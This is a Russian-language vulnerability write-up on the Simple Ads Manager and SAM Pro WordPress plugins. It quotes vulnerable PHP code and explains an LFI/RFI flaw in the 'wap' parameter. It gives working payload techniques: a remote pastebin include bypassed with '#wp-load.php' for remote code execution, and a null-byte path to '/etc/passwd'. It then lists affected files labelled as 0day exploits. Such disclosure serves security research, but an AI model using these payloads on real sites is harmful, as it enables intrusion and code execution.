В данной статье, будут рассмотрены уязвимости серии плагинов sam-pro-free, sam-pro-lite и simple-ads-manager от автора https://profiles.wordpress.org/minimus/.
При исследовании кода, а началось это все непреднамеренно, по воле случайных событий, у меня появился интерес изучить работу плагина под WordPress, simple-ads-manager. Сам плагин удалось найти вот по этой ссылке – https://github.com/minimus/simple-ads-manager. Версия, которую исследовал на момент написания статьи была 2.10.0.130
1. Логика кода
Проанализировав структуру, я выделил несколько файлов, которые в результате эксплуатации могут привести к LFI/RFI уязвимости, что в дальнейшем может привести к RCE.
Возьмем, к примеру, файл sam-ajax.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$body = 'load'; if (!isset( $_POST['action'])) die('-1'); if (!isset( $_POST['wap'] )) die('-1'); $prefix = 'wp'; $suffix = 'php'; $wap = ( isset( $_REQUEST['wap'] ) ) ? base64_decode( $_REQUEST['wap'] ) : null; $mlf = "{$prefix}-{$body}.{$suffix}"; $rightWap = ( is_null( $wap ) ) ? false : strpos( $wap, $mlf ); if ( $rightWap === false ) { exit; } $wpLoadPath = ( is_null( $wap ) ) ? false : $wap; if ( ! $wpLoadPath ) { die( '-1' ); } ini_set('html_errors', 0); define('SHORTINIT', true); require_once( $wpLoadPath ); |
Опытный программист сразу же увидит уязвимость, но давайте все же рассмотрим логику…
В строчке
1 |
require_once( $wpLoadPath ); |
идет инклуд файла, где в
1 2 3 4 5 6 7 |
$mlf = "{$prefix}-{$body}.{$suffix}"; $rightWap = ( is_null( $wap ) ) ? false : strpos( $wap, $mlf ); if ( $rightWap === false ) { exit; } $wpLoadPath = ( is_null( $wap ) ) ? false : $wap; |
выполняется проверка файла, указанная пользователем, которая должна сравниваться с
1 2 3 4 5 6 7 8 9 |
$body = 'load'; if (!isset( $_POST['action'])) die('-1'); if (!isset( $_POST['wap'] )) die('-1'); $prefix = 'wp'; $suffix = 'php'; $wap = ( isset( $_REQUEST['wap'] ) ) ? base64_decode( $_REQUEST['wap'] ) : null; |
При этом обязательно должно быть наличие переменной action. В итоге сам файл должен быть wp-load.php. Единственно, непонятно зачем, все это должно сравниваться с переменной $wap, когда явно можно задать название файла!
2. Принцип работы
В данной уязвимости, если у нас в настройках PHP.ini, включен атрибут allow_url_include=1, то мы сможем удаленно приинклудить файл.
Сначала мы подготавливаем ссылку, откуда будем инклудить, в качестве примера:
я пошел на пастабин: pastebin.com/raw/XcqkWMQQ#wp-load.php, в конце я целенаправленно дописал #wp-load.php, чтобы мы смогли обойти проверку
1 |
$rightWap = ( is_null( $wap ) ) ? false : strpos( $wap, $mlf ); |
В результате наш удаленный файл попадет в инклуд. Таким образом мы можем реализовать RCE (Произвольное выполнение кода) на стороне жертвы!
Пример выполнения на скриншоте:
При отключенном параметре allow_url_include=0, данную уязвимость можно использовать в старых версиях PHP, где присутствует возможность Null байта, /etc/passwd%00wp-load.php
3. The End
Данный уязвимый, код встречается в следующих файлах, плагинах от автора, что были найдены в открытом доступе:
0day exploit Simple Ads Manager v 2.10.0.130
- sam-ajax.php
- sam-ajax-admin.php
- sam-ajax-admin-stats.php
- sam-ajax-loader.php
0day exploit SAM Pro Lite v 1.6.0.37
- sam-pro-ajax-admin.php
- js/sam-pro-dialog.php
0day exploit SAM Pro (Free Edition) v 1.9.6.67
- js/sam-pro-dialog.php
- sam-pro-ajax-admin.php
- sam-pro-layout.php